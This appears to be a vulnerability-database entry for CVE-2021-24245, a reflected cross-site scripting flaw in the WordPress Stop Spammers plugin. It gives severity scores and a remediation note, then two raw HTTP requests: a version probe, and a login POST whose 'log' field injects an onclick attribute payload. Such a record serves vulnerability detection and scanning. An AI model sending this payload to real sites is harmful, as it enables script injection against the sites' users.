| Title | WordPress Stop Spammers <2021.9 - Cross-Site Scripting |
|---|---|
| Author | edoardottt |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions. |
| Remediation | Update to the latest version of the WordPress Stop Spammers plugin (2021.9 or later) to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.17943 |
| CVE ID | CVE-2021-24245 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve wpscan wordpress xss wp-plugin packetstorm trumani vuln |
WordPress Stop Spammers plugin before 2021.9 contains a reflected cross-site scripting vulnerability. It does not escape user input when blocking requests (such as matching a spam word), thus outputting it in an attribute after sanitizing it to remove HTML tags.
GET /wp-content/plugins/stop-spammer-registrations-plugin/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.6 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Connection: close
Content-Length: 141
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP+Cookie+check;
Accept-Encoding: gzip
log=ad%22+accesskey%3DX+onclick%3Dalert%281%29+%22&pwd=&wp-submit=%D9%88%D8%B1%D9%88%D8%AF&redirect_to=http://localhost/wp-admin&testcookie=1
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24245.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24245.pcap
N/AN/A